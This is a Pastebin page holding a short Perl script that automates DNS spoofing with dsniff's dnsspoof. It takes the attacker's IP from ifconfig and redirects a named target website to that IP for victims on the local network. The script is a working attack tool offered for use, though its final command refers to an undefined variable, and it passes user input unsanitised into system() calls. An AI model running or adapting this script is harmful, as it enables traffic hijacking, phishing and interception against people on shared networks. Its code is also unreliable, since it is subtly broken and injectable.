Advertisement
infodox

dnsspoof.pl

Nov 25th, 2011
508
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.77 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # DNS spoofing with DNSSPOOF from DSNIFF suite...
  3. # Usage: ./dnsspoof.pl <interface> <target website>
  4.  
  5. print "[+] Starting the DNS spoofing machine! \n";
  6.  
  7. $device = shift; # first command line arg - Interface to use
  8. $URL = shift; # second command line arg - URL to spoof
  9.  
  10. print "[+] Retrieving your IP from ifconfig...\n";
  11. @ifconf = split(" ", qx[/sbin/ifconfig $device]); # Get data from ifconfig
  12. $me = substr(@ifconf[6], 5); # getting your IP
  13.  
  14. print "[+] Writing dnsspoof.conf \n";
  15. system("echo $me   $URL > dnsspoof.conf"); # write the config file... this needs improvement
  16.  
  17. print "[*] Your IP:   $me \n";
  18. print "[*] Site we be spoofin as: $URL \n";
  19. print "[!] CTRL+C to end... \n";
  20. system("dnsspoof -i $interface -f dnsspoof.conf"); # Do the spoofing
  21.  
  22.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement